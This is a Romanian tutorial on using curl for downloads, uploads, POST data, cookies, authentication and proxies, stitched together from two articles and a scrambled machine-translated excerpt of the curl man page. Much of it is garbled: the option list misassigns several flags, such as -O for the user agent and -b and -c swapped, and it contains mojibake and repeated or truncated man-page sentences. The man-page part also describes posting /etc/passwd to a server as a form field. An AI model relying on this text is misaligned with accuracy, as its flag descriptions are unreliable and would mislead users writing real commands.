Instrumente de linie de comandă pentru dezvoltatori web. Scrierea cererilor HTTP cu Curl

De multe ori trebuie să descărcam diverse fișiere de pe Internet, de exemplu, fișiere executabile programe, fișiere script, arhive sursă. Dar acest lucru nu trebuie făcut întotdeauna prin intermediul browserului. În multe situații este mult mai ușor să efectuați toate acțiunile prin intermediul terminalului. Pentru că astfel poți automatiza procesul. Pe de altă parte, webmasterii din când în când trebuie să testeze accesibilitatea site-ului web, să verifice anteturile trimise și primite și multe altele.

Pentru a rezolva astfel de probleme și probleme dintr-o gamă similară, puteți utiliza utilitarul curl. Vă permite să rezolvați o gamă mult mai largă de probleme, inclusiv simularea acțiunilor utilizatorului pe site. În acest articol ne vom uita la cum să folosiți curl, ce este și de ce este necesar acest program.

De fapt, curl este mai mult decât un utilitar de linie de comandă pentru Linux sau Windows. Acesta este un set de biblioteci care se implementează capabilități de bază lucrul cu pagini URL și transferarea fișierelor. Biblioteca acceptă lucrul cu protocoale: FTP, FTPS, HTTP, HTTPS, TFTP, SCP, SFTP, Telnet, DICT, LDAP, precum și POP3, IMAP și SMTP. Este excelent pentru a simula acțiunile utilizatorului pe pagini și alte operațiuni cu adrese URL.

Suportul pentru biblioteca curl a fost adăugat la multe limbaje și platforme de programare diferite. Utilitarul curl este un înveliș independent pentru această bibliotecă. Este acest utilitar pe care ne vom concentra în acest articol.

comanda curl

Înainte de a trece la o descriere a modului în care poate fi utilizată comanda curl linux, să ne uităm la utilitarul în sine și la opțiunile sale principale de care vom avea nevoie. Sintaxa utilitarului este foarte simplă:

link pentru opțiuni curl $

Acum să ne uităm la opțiunile principale:

  • -# - afișați o bară de progres simplă în timpul încărcării;
  • -0 - utilizați protocolul http 1.0;
  • -1 - utilizați protocolul de criptare tlsv1;
  • -2 - utilizați sslv2;
  • -3 - utilizați sslv3;
  • -4 - utilizați ipv4;
  • -6 - utilizați ipv6;
  • -O- indicați USER_AGENT;
  • -b- salvați cookie într-un fișier;
  • -c- trimite Cookie către server dintr-un fișier;
  • -C- continua descărcarea fișierului de la punctul de întrerupere sau offset specificat;
  • -m- timp maxim de asteptare pentru un raspuns de la server;
  • -d- trimite datele folosind metoda POST;
  • -D- salvați anteturile returnate de server într-un fișier;
  • -e- setați câmpul Referer-uri, indicând de ce site provine utilizatorul;
  • -E- utilizați un certificat SSL extern;
  • -f- nu afisati mesaje de eroare;
  • -F- trimite datele sub forma unui formular;
  • -G- dacă această opțiune este activată, atunci toate datele specificate în opțiunea -d vor fi transmise folosind metoda GET;
  • -H- transfera antete pe server;
  • -Eu- primiți doar antetul HTTP și ignorați întregul conținut al paginii;
  • -j- citeste si trimite cookie-uri dintr-un fisier;
  • -J- eliminați antetul din cerere;
  • -L- acceptă și procesează redirecționări;
  • -s - cantitate maxima redirecționări folosind locație;
  • -o- scoaterea conținutului paginii într-un fișier;
  • -O- salvarea conținutului într-un fișier cu numele paginii sau al fișierului de pe server;
  • -p- utilizați un proxy;
  • --proto- indicați protocolul care trebuie utilizat;
  • -R- salvați ultima oră de modificare a unui fișier de la distanță;
  • -s- afișarea unui minim de informații despre erori;
  • -S- afișarea mesajelor de eroare;
  • -T- încărcați fișierul pe server;
  • -v- rezultatul cel mai detaliat;
  • -y- viteza minima de download;
  • -Y - viteza maxima descărcări;
  • -z- descărcați fișierul numai dacă a fost modificat mai târziu decât ora specificată;
  • -V- afișați versiunea.

Acestea nu sunt în niciun caz toate opțiunile pentru curl linux, dar listează elementele de bază pe care va trebui să le utilizați.

Cum se folosește curl?

Am acoperit tot ce ține de teoria lucrului cu utilitarul curl, acum este timpul să trecem la practică și să privim exemple ale comenzii curl.

Cea mai comună sarcină este aceasta. Descărcarea fișierului este foarte simplă. Pentru a face acest lucru, trebuie doar să transmiteți numele fișierului sau pagina html utilitarului în parametri:

curl https://raw.githubusercontent.com/curl/curl/master/README.md

Dar aici vă așteaptă o surpriză: întregul conținut al fișierului va fi trimis către ieșire standard. Pentru a-l scrie în orice fișier, utilizați:

curl -o readme.txt https://raw.githubusercontent.com/curl/curl/master/README.md

Și dacă doriți ca fișierul rezultat să fie numit la fel ca fișierul de pe server, utilizați opțiunea -O:

curl -O https://raw.githubusercontent.com/curl/curl/master/README.md

curl -# -C - -O https://cdn.kernel.org/pub/linux/kernel/v4.x/testing/linux-4.11-rc7.tar.xz

Dacă este necesar, puteți descărca mai multe fișiere cu o singură comandă:

curl -O https://raw.githubusercontent.com/curl/curl/master/README.md -O https://raw.githubusercontent.com/curl/curl/master/README

Un alt lucru care poate fi util pentru un administrator este să descarce un fișier numai dacă acesta a fost modificat:

curl -z 21-Dec-17 https://raw.githubusercontent.com/curl/curl/master/README.md -O https://raw.githubusercontent.com/curl/curl/master/README

Limită de viteză

Puteți limita viteza de descărcare la limita necesară pentru a nu supraîncărca rețeaua folosind opțiunea -Y:

curl --limit-rate 50K -O https://cdn.kernel.org/pub/linux/kernel/v4.x/testing/linux-4.11-rc7.tar.xz

Aici trebuie să specificați numărul de kiloocteți pe secundă care pot fi descărcați. De asemenea, puteți închide conexiunea dacă viteza nu este suficientă, utilizați opțiunea -Y pentru a face acest lucru:

curl -Y 100 -O https://raw.githubusercontent.com/curl/curl/master/README.md

Transferarea fișierelor

curl -T login.txt ftp://speedtest.tele2.net/upload/

Sau să verificăm dacă fișierul este trimis prin HTTP, există un serviciu special pentru aceasta:

curl -T ~/login.txt http://posttestserver.com/post.php

În răspuns, utilitarul vă va spune unde puteți găsi fișierul descărcat.

Se trimite date POST

Puteți trimite nu numai fișiere, ci și orice date folosind metoda POST. Permiteți-mi să vă reamintesc că această metodă este folosită pentru a trimite date de diferite forme. Pentru a trimite o astfel de solicitare, utilizați opțiunea -d. Pentru testare vom folosi același serviciu:

curl -d "field1=val&fileld2=val1"http://posttestserver.com/post.php

Dacă nu sunteți mulțumit de această opțiune de trimitere, puteți pretinde că trimiteți formularul. Există o opțiune pentru aceasta -F:

curl -F "parolă=@pass;type=text/plain" http://posttestserver.com/post.php

Aici trecem campul de parola cu formularul ca text simplu, la fel poti trece mai multi parametri.

Trimiterea și primirea cookie-urilor

Cookie-urile sunt folosite de site-uri web pentru a stoca anumite informații din partea utilizatorului. Acest lucru poate fi necesar, de exemplu, pentru autentificare. Puteți accepta și trimite cookie-uri folosind curl. Pentru a salva cookie-urile primite într-un fișier, utilizați opțiunea -c:

curl -c cookie.txt http://posttestserver.com/post.php

Apoi puteți trimite cookie-ul curl înapoi:

curl -b cookie.txt http://posttestserver.com/post.php

Transmiterea și analiza antetului

Nu întotdeauna avem nevoie de conținutul paginii. Uneori doar titlurile pot fi interesante. Pentru a le afișa numai acestea există opțiunea -I:

curl -I https://site

Și opțiunea -H vă permite să trimiteți mai multe sau mai multe către server, de exemplu, puteți trece antetul If-Modified-Since astfel încât pagina să fie returnată doar dacă a fost modificată:

autentificare curl

Dacă serverul necesită unul dintre tipurile comune de autentificare, cum ar fi HTTP Basic sau FTP, atunci curl poate gestiona această sarcină foarte ușor. Pentru a specifica detaliile de autentificare, pur și simplu le specificați separate prin două puncte în opțiunea -u:

curl -u ftpuser:ftppass -T - ftp://ftp.testserver.com/myfile_1.txt

Autentificarea pe serverele HTTP va fi efectuată în același mod.

Folosind un proxy

Dacă trebuie să utilizați un server proxy pentru a descărca fișiere, atunci și acest lucru este foarte simplu. Este suficient să specificați adresa serverului proxy în opțiunea -x:

curl -x proxysever.test.com:3128 http://google.co.in

Concluzii

În acest articol, am analizat cum să folosiți curl, de ce este necesar acest utilitar și principalele sale capacități. În ciuda asemănărilor lor cu, ele sunt foarte diferite. Comanda curl linux este concepută mai mult pentru analiza și simularea diferitelor acțiuni pe server, în timp ce wget este mai potrivit pentru descărcarea fișierelor și accesarea cu crawlere a site-urilor.

c URL-ul este foarte instrument util linie de comandă pentru a transfera date de la sau către server. Curl acceptă diverse protocoale, cum ar fi FILE, HTTP, HTTPS, IMAP, IMAPS, LDAP, DICT, LDAPS, TELNET, FTPS, GOPHER, RTMP, RTSP, SCP, SFTP, POP3, POP3S, SMB, SMBS, SMTP, SMTPS și TFTP .

cURL poate fi folosit într-o varietate de moduri diferite și interesante. Cu acest instrument, puteți să descărcați, să încărcați și să gestionați fișiere, să vă verificați adresa de e-mail sau chiar să vă actualizați starea pe unele site-uri de social media sau să verificați vremea de afară. În acest articol, ne vom uita la cele cinci utilizări cele mai utile și de bază ale instrumentului cURL pe orice .

1. Verificați adresa URL

Una dintre cele mai comune și mai simple utilizări ale cURL este tipărirea comenzii în sine, urmată de adresa URL pe care doriți să o testați

Curl https://domain.ru

Această comandă va afișa conținutul adresei URL pe terminalul dvs

2. Salvați rezultatul URL într-un fișier

Site-ul Curl -o https://domain.ru % Total % Primit % Xferd Viteză medie Timp Timp Timp Descărcare curent Încărcare Total cheltuit Viteza stângă 100 41793 0 41793 0 0 275k 0 --:--:-- - -:-- :-- --:--:-- 2,9M

În acest exemplu, rezultatul va fi salvat într-un fișier numit „website” în directorul de lucru curent.

3. Încărcarea fișierelor utilizând Curl

Puteți descărca fișiere folosind Curl adăugând opțiunea -o la comandă. Este folosit pentru a salva fișiere pe serverul local cu aceleași nume ca pe serverul la distanță

Curl -O https://domain.ru/file.zip

În acest exemplu, arhiva „file.zip” va fi descărcată în directorul de lucru curent.

De asemenea, puteți încărca un fișier cu un alt nume adăugând opțiunea -o la cURL.

Curl -o archive.zip https://domain.ru/file.zip

Deci arhiva „file.zip” va fi descărcată și salvată ca „Archive.zip”.

cURL poate fi folosit și pentru a descărca mai multe fișiere simultan, așa cum se arată în exemplul de mai jos

Curl -O https://domain.ru/file.zip -O https://domain.com/file2.zip

Curl poate fi folosit și pentru a încărca fișiere în siguranță prin SSH folosind următoarea comandă

Curl -u user sftp://server.domain.ru/path/to/file

Vă rugăm să rețineți că trebuie să utilizați calea completă către fișierul pe care doriți să îl descărcați

4. Preluați informații din antetul HTTP al site-ului web

Puteți obține cu ușurință informații despre antetul HTTP de pe orice site web, adăugând opțiunea -I („i”) la cURL.

Curl -I http://domain.ru HTTP/1.1 200 OK Data: Duminica, 16 Oct 2016 23:37:15 GMT Server: Apache/2.4.23 (Unix) X-Powered-By: PHP/5.6.24 Conexiune : close Content-Type: text/html; set de caractere=UTF-8

5. Acces la serverul FTP

Pentru a accesa serverul FTP de la folosind Curl, trebuie să utilizați următoarea comandă

Curl ftp://ftp.domain.ru --user username:parola

Curl se va conecta la serverul FTP și va lista toate fișierele și directoarele din directorul principal al utilizatorului

Puteți descărca fișierul folosind FTP

Curl ftp://ftp.domain.ru/file.zip --user username:parola

și încărcați fișierul pe serverul FTP

Curl -T file.zip ftp://ftp.domain.ru/ --user username:parola

Puteți verifica manual pagina Curl pentru a vedea totul opțiunile disponibile cURL și funcționalitatea acestuia

Omul curl

PS. Dacă ți-a plăcut această postare, te rog să o distribui prietenilor tăi rețelele sociale folosind butoanele de mai jos sau pur și simplu lăsați un comentariu. Multumesc.

ondulare (1)
  • >> răsuci (1) (tBЪОШе om: lPNBODSCH Y RTYLMBDOSH RTPZTBNNNSCH RPMSHЪPCHBFEMSHULZP HTPCHOS)
  • lMAYU răsuci PVOBTHTSEO CH VBJE LMAYUECHSHI UMCH.
  • NUME

    curl - transferați o adresă URL

    REZUMAT

    răsuci

    DESCRIERE

    răsuci este un instrument de transfer de date de la sau către un server, folosind unul dintre protocoalele acceptate (HTTP, HTTPS, FTP, FTPS, TFTP, DICT, TELNET, LDAP sau FILE). Comanda este proiectată să funcționeze fără interacțiunea utilizatorului.

    curl oferă o mulțime de trucuri utile, cum ar fi suport proxy, autentificarea utilizatorului, încărcare ftp, Postare HTTP, conexiuni SSL (https:), cookie-uri, reluarea transferului de fișiere și multe altele. După cum veți vedea mai jos, numărul de caracteristici vă va face capul să se învârtă!

    curl este alimentat de libcurl pentru toate caracteristicile legate de transfer. Consultați (3) pentru detalii.

    URL

    Sintaxa URL este dependentă de protocol. Veți găsi o descriere detaliată în RFC 3986.

    Puteți specifica mai multe adrese URL sau părți ale adreselor URL scriind seturi de părți între acolade, ca în:

    sau puteți obține secvențe de serii alfanumerice folosind ca în:

    Momentan, nu este acceptată imbricarea secvențelor, dar puteți folosi mai multe unele lângă altele:

    Puteți specifica orice cantitate de adrese URL pe linie de comandă. Acestea vor fi preluate într-o manieră secvențială, în ordinea specificată.

    De la curl 7.15.1, puteți specifica, de asemenea, contorul de pași pentru intervale, astfel încât să puteți obține fiecare a N-a număr sau literă:

    Dacă specificați URL fără prefix protocol://, curl va încerca să ghicească ce protocol doriți. Apoi va fi implicit HTTP, dar va încerca alte protocoale bazate pe prefixele de nume de gazdă folosite des. De exemplu, pentru numele de gazdă care încep cu „ftp”. curl va presupune că doriți să vorbiți FTP.

    CONTORUL PROGRESULUI

    curl afișează în mod normal un contor de progres în timpul operațiunilor, indicând cantitatea de date transferate, vitezele de transfer și timpul estimat rămas etc.

    Cu toate acestea, deoarece curl afișează datele în terminal în mod implicit, dacă invocați curl pentru a face o operație și este pe cale să scrie date în terminal, acesta dezactivează contorul de progres, altfel ar da greșit contorul de progres de amestecare de ieșire și datele de răspuns.

    Dacă doriți un contor de progres pentru solicitările HTTP POST sau PUT, trebuie să redirecționați rezultatul răspunsului către un fișier, folosind redirecționarea shell (>), -o sau similar.

    Nu este același caz pentru încărcarea FTP, deoarece acea operațiune nu emite date de răspuns către terminal.

    Dacă preferați o „bară” de progres în loc de contorul obișnuit, -# este prietenul tău.

    OPȚIUNI

    -a/--append (FTP) Când este utilizat într-o încărcare FTP, aceasta îi va spune curl să atașeze fișierului țintă în loc să-l suprascrie. Dacă fișierul nu există, acesta va fi creat.

    Dacă această opțiune este folosită de două ori, a doua va dezactiva din nou modul de adăugare. -A/--user-agent (HTTP) Specificați șirul User-Agent de trimis către serverul HTTP. Unele CGI-uri prost făcute eșuează dacă nu este setat la „Mozilla/4.0”. Pentru a codifica spațiile libere în șir, înconjurați șirul cu ghilimele simple. Acest lucru poate fi setat și cu-H/--antet

    varianta desigur. Dacă această opțiune este setată de mai multe ori, ultima va fi cea care este folosită. --anyauth (HTTP) Îi spune lui curl să descopere singur metoda de autentificare și să folosească cea mai sigură pe care site-ul la distanță susține că o acceptă. Acest lucru se realizează mai întâi prin efectuarea unei cereri și verificarea antetelor de răspuns, inducând astfel o călătorie dus-întors în rețea. Aceasta este utilizată în loc de a seta o metodă de autentificare specifică, pe care o puteți face., --de bază, --digera--ntlm , și.

    --negocia

    Dacă această opțiune este folosită de mai multe ori, următoarele apariții nu fac nicio diferență. -b/--cookie

    (HTTP) Transmite datele către serverul HTTP ca cookie. Se presupune că sunt datele primite anterior de la server într-o linie „Set-Cookie:”. Datele trebuie să fie în formatul „NUME1=VALOARE1; NUME2=VALOARE2”. Dacă nu este folosită nicio literă „=" în linie, aceasta este tratată ca un nume de fișier de utilizat pentru a citi liniile cookie stocate anterior, care ar trebui să fie folosite în această sesiune dacă se potrivesc. Utilizarea acestei metode activează, de asemenea, „parserul de cookie-uri”, care va face și curl înregistrarea cookie-urilor primite, ceea ce poate fi util dacă îl utilizați în combinație cu-L/--locatie

    opţiune. Formatul fișierului din care se citește cookie-urile ar trebui să fie antete HTTP simple sau formatul de fișier cookie Netscape/Mozilla. NOTA cu care fișierul specificat-b/--cookie este folosit doar ca intrare. Nu vor fi stocate cookie-uri în fișier. Pentru a stoca cookie-uri, utilizați-c/--cookie-bor opțiunea sau puteți chiar salva antetele HTTP într-un fișier folosind!

    -D/--dump-header

    Dacă această opțiune este setată de mai multe ori, ultima va fi cea care este folosită. -B/--use-ascii Activați transferul ASCII când utilizați FTP sau LDAP. Pentru FTP, acest lucru poate fi impus și prin utilizarea unei adrese URL care se termină cu „;type=A”. Această opțiune face ca datele trimise către stdout să fie în modul text pentru sistemele win32. --digera, --de bază Dacă această opțiune este folosită de două ori, a doua va dezactiva utilizarea ASCII. , și).

    --basic (HTTP) Spune lui curl să folosească autentificarea de bază HTTP. Aceasta este implicită și această opțiune este de obicei inutilă, cu excepția cazului în care o utilizați pentru a înlocui o opțiune setată anterior care setează o metodă de autentificare diferită (cum ar fi şi Dacă această opțiune este folosită de mai multe ori, următoarele apariții nu fac nicio diferență.

    --cifre

    (SSL) Specifică ce cifruri să folosească în conexiune. Lista de cifruri trebuie să utilizeze cifruri valide. Citiți detaliile listei de criptare SSL pe această adresă URL: http://www.openssl.org/docs/apps/ciphers.html -m/--max-time opţiune.

    Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima. -c/--cookie-bor

    opţiune. Formatul fișierului din care se citește cookie-urile ar trebui să fie antete HTTP simple sau formatul de fișier cookie Netscape/Mozilla. Specificați în ce fișier doriți ca curl să scrie toate cookie-urile după o operațiune finalizată. Curl scrie toate modulele cookie citite anterior dintr-un fișier specificat, precum și toate modulele cookie primite de la serverele de la distanță. Dacă nu se cunosc cookie-uri, nu va fi scris niciun fișier. Fișierul va fi scris folosind formatul de fișier cookie Netscape. Dacă setați numele fișierului la o singură liniuță, „-”, cookie-urile vor fi scrise în stdout.

    Dacă borcanul pentru cookie-uri nu poate fi creat sau scris, întreaga operațiune de curl nu va eșua și nici măcar nu va raporta o eroare în mod clar. Folosind -v se va afișa un avertisment, dar acesta este singurul feedback vizibil pe care îl obțineți despre această situație posibil letală. Dacă această opțiune este folosită de mai multe ori, va fi folosit ultimul nume de fișier specificat.

    -C/--continuare-at

    Continuați/Reluați un transfer de fișiere anterior la offset-ul dat. Offset-ul dat este numărul exact de octeți care vor fi săriți numărați de la începutul fișierului sursă înainte ca acesta să fie transferat la destinație. Dacă este folosită cu încărcări, comanda serverului ftp SIZE nu va fi folosită de curl.

    Folosiți „-C -” pentru a-i spune lui curl să afle automat unde/cum să reia transferul. Apoi folosește fișierele de ieșire/intrare date pentru a-și da seama. Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima.--create-dirs Când este utilizat împreună cu opțiunea -o, curl va crea ierarhia de directoare locale necesară, după cum este necesar. Această opțiune creează direcțiile menționate cu opțiunea -o, nimic altceva. Dacă numele fișierului -o nu folosește nici un director sau dacă directorul pe care îl menționează există deja, nu va fi creat nici un director.

    Pentru a crea directoare la distanță când utilizați FTP, încercați --ftp-create-dirs .--crlf (FTP) Convertiți LF în CRLF la încărcare. Util pentru MVS (OS/390). Dacă această opțiune este folosită de mai multe ori, următoarele apariții nu fac nicio diferență.. Dacă această opțiune este folosită de mai multe ori pe aceeași linie de comandă, piesele de date specificate vor fi îmbinate împreună cu o &-litera de separare. Folosind „-d name=daniel -d skill=lousy” ar genera o bucată de postare care arată ca „Astfel, name=daniel&skill=lousy”.

    Dacă începeți datele cu litera @, restul ar trebui să fie un nume de fișier din care să citiți datele sau - dacă doriți ca curl să citească datele din stdin. Conținutul fișierului trebuie să fie deja codificat în url. De asemenea, pot fi specificate mai multe fișiere. Postarea datelor dintr-un fișier numit „foobar” ar fi astfel realizată --date@foobar”.

    Pentru a posta date pur binare, ar trebui să utilizați în schimb --data-binary opţiune.

    -d/--date este la fel ca --data-ascii.

    Dacă această opțiune este folosită de mai multe ori, cele care urmează pe prima vor adăuga date. --data-ascii -d/--date opţiune.

    (HTTP) Acesta este un alias pentru Dacă această opțiune este folosită de mai multe ori, cele care urmează pe prima vor adăuga date. --data-ascii--data-binary --data-ascii(HTTP) Aceasta postează date într-un mod similar cu

    face, deși atunci când utilizați această opțiune, întregul context al datelor postate este păstrat așa cum este. Dacă doriți să postați un fișier binar fără caracteristica strip-newlines a opțiune, aceasta este pentru tine. Dacă această opțiune este folosită de mai multe ori, cele care urmează pe prima vor adăuga date. --digera, , și Dacă această opțiune este folosită de două ori, a doua va dezactiva utilizarea ASCII. --digest (HTTP) Activează autentificarea HTTP Digest. Aceasta este o autentificare care împiedică trimiterea parolei prin cablu în text clar. Utilizați acest lucru în combinație cu cel normal-u/--utilizator

    opțiunea de a seta numele de utilizator și parola. Vezi de asemenea

    --anyauth

    pentru opțiunile conexe. Dacă această opțiune este folosită de mai multe ori, următoarele apariții nu fac nicio diferență.

    Această opțiune este la îndemână atunci când doriți să stocați anteturile pe care vi le trimite un site HTTP. Cookie-urile din anteturi ar putea fi apoi citite într-o a doua invocare curl folosind cu care fișierul specificat opţiune! The este folosit doar ca intrare. Nu vor fi stocate cookie-uri în fișier. Pentru a stoca cookie-uri, utilizați opțiunea este totuși o modalitate mai bună de a stoca cookie-uri.

    Când sunt utilizate pe FTP, liniile de răspuns ale serverului ftp sunt considerate „anteturi” și astfel sunt salvate acolo.

    Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima. -e/--referer (HTTP) Specificați șirul User-Agent de trimis către serverul HTTP. Unele CGI-uri prost făcute eșuează dacă nu este setat la „Mozilla/4.0”. Pentru a codifica spațiile libere în șir, înconjurați șirul cu ghilimele simple. Acest lucru poate fi setat și cu(HTTP) Trimite informațiile „Pagină de referință” către serverul HTTP. Acest lucru poate fi setat și cu Dacă nu este folosită nicio literă „=" în linie, aceasta este tratată ca un nume de fișier de utilizat pentru a citi liniile cookie stocate anterior, care ar trebui să fie folosite în această sesiune dacă se potrivesc. Utilizarea acestei metode activează, de asemenea, „parserul de cookie-uri”, care va face și curl înregistrarea cookie-urilor primite, ceea ce poate fi util dacă îl utilizați în combinație cu steag desigur. Când este folosit cu

    puteți adăuga „;auto” la adresa URL --referer pentru ca curl să seteze automat adresa URL anterioară atunci când urmează un antet Locație:. Șirul „;auto” poate fi folosit singur, chiar dacă nu setați un --referer inițial. Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima. --motor Selectați motorul cripto OpenSSL pe care să îl utilizați pentru operațiunile de cifrare. Utilizare

    --lista de motoare pentru a imprima o listă de motoare acceptate în timpul construirii. Rețineți că nu toate (sau niciunul) motoare pot fi disponibile în timpul rulării. --environment (NUMAI RISC OS) Setează o serie de variabile de mediu, folosind numele pe care opțiunea -w le acceptă, pentru a permite mai ușor extragerea de informații utile după rularea curl. Dacă această opțiune este folosită de mai multe ori, fiecare apariție va activa/dezactiva această opțiune. --egd-file

    (HTTPS) Specificați numele căii către socket-ul Entropy Gathering Daemon. Socket-ul este folosit pentru a genera motorul aleatoriu pentru conexiunile SSL. Vezi și --random-file

    opţiune. -E/--cert (HTTPS) Spune curl să folosească fișierul de certificat specificat atunci când obține un fișier cu HTTPS. Certificatul trebuie să fie în format PEM. Dacă parola opțională nu este specificată, aceasta va fi interogată pe terminal. Rețineți că acest certificat este cheia privată și certificatul privat concatenat!

    Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima.

    Versiunea pentru Windows a curl va căuta automat un fișier de certificare CA numit „curl-ca-bundle.crt”, fie în același director ca curl.exe, fie în Directorul de lucru curent, fie în orice folder de-a lungul PATH.

    Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima. --capath (HTTPS) Spune curl să folosească directorul de certificat specificat pentru a verifica peer-ul. Certificatele trebuie să fie în format PEM, iar directorul trebuie să fi fost procesat folosind utilitarul c_rehash furnizat cu openssl. Folosind--capath poate permite curl să facă conexiuni https mult mai eficient decât utilizarea--cacert poate permite curl să facă conexiuni https mult mai eficient decât utilizarea dacă

    fișierul conține multe certificate CA.

    Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima.

    -f/--fail (HTTP) Eșuează în tăcere (nicio ieșire) la erorile de server. Acest lucru se face de cele mai multe ori astfel pentru a activa mai bine scripturile etc. pentru a face față mai bine încercărilor eșuate. În cazurile normale, când un server HTTP nu reușește să livreze un document, returnează un document HTML care indică acest lucru (care descrie adesea și de ce și mai mult). Acest flag va împiedica curl să scoată asta și va returna eroarea 22.

    Dacă această opțiune este folosită de două ori, a doua va dezactiva din nou crearea directorului.

    --ftp-method (FTP) Controlează ce metodă ar trebui să folosească curl pentru a ajunge la un fișier pe un server FTP(S). Argumentul metodei ar trebui să fie una dintre următoarele alternative: multicwd curl face o singură operație CWD pentru fiecare parte de cale din adresa URL dată. Pentru ierarhiile profunde, aceasta înseamnă foarte multe comenzi. Acesta este modul în care RFC1738 spune că ar trebui făcut. Acesta este comportamentul implicit, dar cel mai lent.

    nocwd curl nu face deloc CWD. curl va face SIZE, RETR, STOR etc și va oferi o cale completă către server pentru toate aceste comenzi. Acesta este cel mai rapid comportament. singlecwd curl face un CWD cu directorul țintă complet și apoi operează pe fișier „în mod normal” (ca în cazul multicwd). Acesta este ceva mai conforme cu standardele decât „nocwd”, dar fără penalizarea completă a „multicwd”.

    --ftp-pasv (FTP) Utilizați PASV când transferați. PASV este comportamentul implicit intern, dar utilizarea acestei opțiuni poate fi folosită pentru a suprascrie o opțiune anterioară --ftp-port. (Adăugat în 7.11.0)

    Dacă această opțiune este folosită de mai multe ori, următoarele apariții nu fac nicio diferență.

    Ftp-alternativă-la-utilizator

    (FTP) Dacă autentificarea cu comenzile USER și PASS eșuează, trimiteți această comandă. Când vă conectați la serverul de transport securizat al Tumbleweed prin FTPS folosind un certificat de client, folosirea „SITE AUTH” va spune serverului să preia numele de utilizator din certificat (Adăugat în 7.15.5) --ftp-skip-pasv-ip ( FTP). Spune-i lui curl să nu folosească adresa IP pe care o sugerează serverul în răspunsul său la comanda PASV a curl atunci când curl conectează conexiunea de date. În schimb, curl va reutiliza aceeași adresă IP pe care o folosește deja pentru conexiunea de control. (Adăugat în 7.14.2) (HTTP) Acest lucru îi permite lui curl să emuleze un formular completat în care un utilizator a apăsat butonul de trimitere. Acest lucru cauzează curl la datele POST utilizând conținutul multipart/form-data conform RFC1867. Aceasta permite încărcarea fișierelor binare etc. Pentru a forța partea „conținut” să fie un fișier, prefixați numele fișierului cu un semn @. Pentru a obține doar partea de conținut dintr-un fișier, prefixați numele fișierului cu litera<. The difference between @ and < is then that @ makes a file get attached in the post as a file upload, while the < makes a text field and just get the contents for that text field from a file.

    De exemplu, pentru a trimite fișierul de parolă către server, unde „parolă” este numele câmpului de formular în care va fi introdus /etc/passwd:

    Pentru a citi conținutul fișierului din stdin în loc de un fișier, utilizați - unde ar fi trebuit să fie numele fișierului. Acest lucru este valabil atât pentru @, cât și pentru< constructs.

    De asemenea, puteți spune lui Curl ce tip de conținut să folosească folosind „type=", într-un mod similar cu:

    răsuci-F" [email protected];type=text/html" url.com

    răsuci-F „nume=daniel;tip=text/foo” url.com

    De asemenea, puteți modifica în mod explicit câmpul de nume al unei părți de încărcare a fișierului setând filename=, astfel:

    răsuci-F „file=@localfile;filename=nameinpost” url.com

    Vedeți mai multe exemple și detalii în MANUAL.

    Această opțiune poate fi folosită de mai multe ori. --form-string (HTTP) Similar cu--formă<" characters, and the ";type=" string in the value have no special meaning. Use this in preference to (HTTP) Similar cu cu excepția faptului că șirul de valoare pentru parametrul numit este folosit literal. „@” și „<" features of (HTTP) Similar cu dacă există vreo posibilitate ca valoarea șirului să declanșeze accidental „@” sau „ -d/--date. --data-binary-g/--globoff Această opțiune dezactivează „parserul de globare URL”. Când setați această opțiune, puteți specifica adrese URL care conțin literele () fără ca acestea să fie interpretate de curl în sine. Rețineți că aceste litere nu sunt conținuturi URL legale normale, dar ar trebui să fie codificate conform standardului URI.

    -G/--get Când este utilizată, această opțiune va face ca toate datele să fie specificate cu

    sau

    (HTTP) Antet suplimentar de utilizat când obțineți o pagină web. Puteți specifica orice număr de anteturi suplimentare. Rețineți că dacă ar trebui să adăugați un antet personalizat care are același nume ca unul dintre cele interne pe care le-ar folosi curl, antetul dvs. setat extern va fi folosit în locul celui intern. Acest lucru vă permite să faceți lucruri și mai complicate decât ar face curl în mod normal. Nu ar trebui să înlocuiți anteturile setate intern fără să știți perfect ce faceți. Înlocuirea unui antet intern cu unul fără conținut în partea dreaptă a două puncte va împiedica apariția acelui antet.

    curl se va asigura că fiecare antet pe care îl adăugați/înlocuiți este trimis cu marcatorul adecvat de sfârșit de linie, astfel încât ar trebui să nu adăugați că, ca parte a conținutului antetului: nu adăugați linii noi sau întoarceri de cărucior, acestea doar vor încurca lucrurile pentru dvs.

    Vezi și -A/--user-agent Dacă această opțiune este folosită de două ori, a doua va dezactiva utilizarea ASCII. -e/--referer opțiuni.

    Această opțiune poate fi folosită de mai multe ori pentru a adăuga/înlocui/elimina mai multe anteturi.

    --ignore-content-length (HTTP) Ignorați antetul Content-Length. Acest lucru este util în special pentru serverele care rulează Apache 1.x, care va raporta lungimea conținutului incorectă pentru fișierele mai mari de 2 gigaocteți. -i/--include (HTTP) Includeți antetul HTTP în rezultat. Antetul HTTP include lucruri precum numele serverului, data documentului, versiunea HTTP și multe altele...

    Dacă această opțiune este folosită de două ori, a doua va dezactiva din nou includerea antetului.

    --interfață

    Dacă această opțiune este folosită de mai multe ori, fiecare apariție va activa/dezactiva această opțiune. -k/--insecure (SSL) Această opțiune permite în mod explicit curl să efectueze conexiuni și transferuri SSL „nesigure”. Se încearcă securizarea tuturor conexiunilor SSL prin utilizarea pachetului de certificate CA instalat în mod implicit. Acest lucru face ca toate conexiunile considerate „nesigure” să eșueze dacă nu-k/--nesigur

    este folosit. Dacă această opțiune este folosită de două ori, a doua oară o va dezactiva din nou.

    --cheie (SSL) Nume fișier cheie privată. Vă permite să furnizați cheia privată în acest fișier separat. Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima.--tip-cheie

    (SSL) Tip de fișier cu cheie privată. Specificați ce tip dvs --cheie

    cu condiția cheie privată este. DER, PEM și ENG sunt acceptate. Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima.--krb4

    (FTP) Activați autentificarea și utilizarea kerberos4. Nivelul trebuie introdus și ar trebui să fie unul dintre „clar”, „sigur”, „confidențial” sau „privat”. Dacă utilizați un nivel care nu este unul dintre acestea, va fi folosit în schimb „privat”. Această opțiune necesită ca biblioteca să fie construită cu suport kerberos4. Acest lucru nu este foarte comun. Utilizare

    -V/--versiunea

